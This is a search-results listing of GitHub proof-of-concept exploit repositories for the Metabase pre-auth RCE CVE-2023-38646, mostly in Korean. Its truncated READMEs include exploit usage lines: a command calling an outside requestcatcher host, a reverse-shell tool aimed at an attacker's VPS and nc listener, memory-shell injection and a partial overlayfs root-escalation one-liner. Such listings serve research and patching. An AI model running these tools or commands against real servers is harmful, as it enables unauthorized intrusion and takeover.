49 matches found
CVE-2023-38646
CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 익스플로잇 이 도구는 소프트웨어 플랫폼의 취약점CVE-2023-38646을 악용합니다. 이 익스플로잇은 잘못 처리된 데이터베이스 연결 문자열을 이용하여 조작된 요청을 통해 원격 코드 실행을 가능하게 합니다. 개요 이 도구는: 대상 URL에서 설정 토큰setup token을 가져옵니다. 제공된 명령어를 Base64로 인코딩합니다. 인코딩된 명령어로 페이로드를 구성합니다. 페이로드를 전송하여 취약점을 악용합니다. 설치 저장소를 클론합니다: git...
CVE-2023-38646-PoC-Metabase
CVE-2023-38646-PoC-Metabase CVE-2023-38646를 악용하기 위한 개념 증명PoC 스크립트입니다. 교육 및 연구 목적으로만 사용하세요. 설명 이는 Metabase에 영향을 미치는 취약점인 CVE-2023-38646을 악용하기 위한 Python 기반 개념 증명PoC 스크립트입니다. 이 익스플로잇은 잘못된 구성을 악용하여 원격 명령 실행을 달성합니다. ⚠️ 면책 조항 : 이 스크립트는 오직 교육 목적과 윤리적 연구를 위해 제작되었습니다. 사전 동의 없이 시스템을 공격하기 위해 이 스크립트를 오용하는 것은...
CVE-2023-38646
CVE-2023-38646 CVE-2023-38646로 알려진 Metabase RCE 익스플로잇을 위한 자동 도구입니다. 자세한 내용POC, Dork은 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 에서 확인하세요. single.py 사용법 python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 또는 python3 single.py -u...
CVE-2023-38646
CVE-2023-38646 CVE-2023-38646에 대한 개념 증명...
CVE-2023-38646-POC
CVE-2023-38646-POC CVE-2023-38646-POC...
CVE-2023-38646-Poc
CVE-2023-38646-Poc 사용법 python check.py ip port 취약한 버전 Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabase open source 0.44 0.44.7.1...
metabase-pre-auth-rce-poc
Metabase 사전 인증 RCE CVE-2023-38646 POC 이 스크립트는 Python으로 작성되었으며, CVE-2023-38646 에 설명된 Metabase 소프트웨어 보안 결함을 악용할 수 있습니다. 취약한 버전은 오픈소스 에디션의 경우 0.46.6.1 이전, 엔터프라이즈 에디션의 경우 1.46.6.1 이전입니다. 사용법 스크립트에는 대상 URL , 설정 토큰setup token , 실행할 명령어command 가 필요합니다. 설정 토큰은 /api/session/properties 엔드포인트를 통해 얻을 수 있습니다...
POC_Metabase_CVE-2023-38646
교육 목적으로만 사용하세요 Assetnote 연구에서 영감을 받음 CVE: CVE-2023-38646 CVSS: 9.8 벤더 링크: 클릭 취약한 버전 Metabase Enterprise 1.46 ParrotOS에서만 테스트됨 결과...
Exploit-CVE-2023-38646-Metabase
Exploit CVE-2023-38646 Metabase 0.46.6.1 미만 오픈소스 및 1.46.6.1 미만 Enterprise 버전 대상 Metabase 0.46.6.1 미만 오픈소스 및 1.46.6.1 미만 Enterprise 버전에서 발견된 원격 코드 실행RCE 취약점에 대한 익스플로잇입니다. 이 취약점은 공격자가 서버의 권한 수준으로 임의 명령을 실행할 수 있게 하며, 인증 없이 악용이 가능합니다. 이 익스플로잇을 실행하려면 setup-token을 획득해야 합니다. 웹사이트에서...
CVE-2023-38646
CVE-2023-38646 Burp Collector 없이 사용할 수 있도록 만든kh4sh3i의 포크입니다. CVE-2023-38646 Metabase의 사전 인증 RCE: 0.46.6.1 이전 버전의 Metabase 오픈소스와 1.46.6.1 이전 버전의 Metabase Enterprise는 공격자가 서버의 권한 수준으로 서버에서 임의의 명령을 실행할 수 있게 합니다. 악용을 위해 인증은 필요하지 않습니다. 사용법 python3 CVE-2023-38646.py -u http://target.com -t...
MetabaseRceTools
MetabaseRceTools CVE-2023-38646 Metabase RCE 도구 CVE-2023-38646 RCE 그래픽 활용 도구 확인 모듈 지정된 URL을 입력하여 인증되지 않은 Token을 감지합니다. 명령 실행 이 모듈을 사용하려면 먼저 확인 모듈을 실행하여 token을 획득해야 합니다. JarLocation: metabase.jar의 위치, 기본값은 현재 디렉터리 메모리 셸 주입 현재는 cmd와 godzilla 모드만 작성되었으며, x-client-data를 통해 제어합니다. x-client-data:cmd →...
METABASE-RCE-CVE-2023-38646-
METABASE-RCE-CVE-2023-38646- 위 정보에 따라 시스템 또는 머신의 루트 사용자를 얻으려면, 이 명령어와 파일이 루트 사용자로 진입합니다. 이 명령어를 직접 실행하거나 파일로 실행할 수 있습니다. 명령어: $unshare -rm sh -c "mkdir l u w m && cp /u/b/p 3 l/; setcap capsetuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/;" &&...
CVE-2023-38646
CVE-2023-38646...
Another-Metabase-RCE-CVE-2023-38646
Metabase의 사전 인증 RCECVE-2023-38646 확장 설명 여기 이것은 H2 및 PostgreSQL 엔진에서 '데이터베이스가 이미 사용 중' 오류를 피하는 데 도움이 되었습니다. "token": "TOKEN", "details": "isondemand": false, "isfullsync": false, "issample": false, "cachettl": null, "refingerprint": false, "autorunqueries": true, "schedules":, "details":...
cve-2023-38646-metabase-ReverseShell
cve-2023-38646-metabase-ReverseShell 명령 실행 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 참고 대상 호스트를 입력할 때는 http:// 또는 https://를 잊지 마세요...
Metabase-H2-CVE-2023-38646-
이 저장소에는 README가 없습니다...
CVE-2023-38646
Poc-Metabase-Preauth-CVE-2023-38646 사용 방법? λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ go build...
CVE-2023-38646
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2...
